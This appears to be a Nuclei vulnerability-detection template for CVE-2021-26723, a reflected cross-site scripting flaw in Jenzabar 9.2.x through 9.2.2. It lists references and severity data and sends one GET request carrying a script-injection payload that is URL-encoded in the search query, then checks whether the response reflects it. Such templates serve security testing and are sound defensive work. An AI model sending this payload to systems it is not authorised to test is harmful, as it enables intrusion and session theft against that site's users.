id: CVE-2021-26723

info:
  name: Jenzabar 9.2x-9.2.2 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jenzabar 9.2.x through 9.2.2 contains a cross-site scripting vulnerability. It allows /ics?tool=search&query.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Jenzabar 9.2x-9.2.2.
  reference:
    - http://packetstormsecurity.com/files/161303/Jenzabar-9.2.2-Cross-Site-Scripting.html
    - https://gist.github.com/Y0ung-DST/d1b6b65be6248b0ffc2b2f2120deb205
    - https://jenzabar.com/blog
    - https://y0ungdst.medium.com/xss-in-jenzabar-cve-2021-26723-a0749231328
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26723
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26723
    cwe-id: CWE-79
    epss-score: 0.10949
    epss-percentile: 0.95322
    cpe: cpe:2.3:a:jenzabar:jenzabar:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jenzabar
    product: jenzabar
  tags: cve2021,cve,packetstorm,jenzabar,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ics?tool=search&query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e8504937b0fd86eac99b87b9d7ad15344829a2d30652f3b719f9ab34341707c102204ce52991f6b5788db7b03f7aa21dd2b929eaf2a5a6efa0ae447d3d8406cb437e:922c64590222798bb761d5b6d8e72950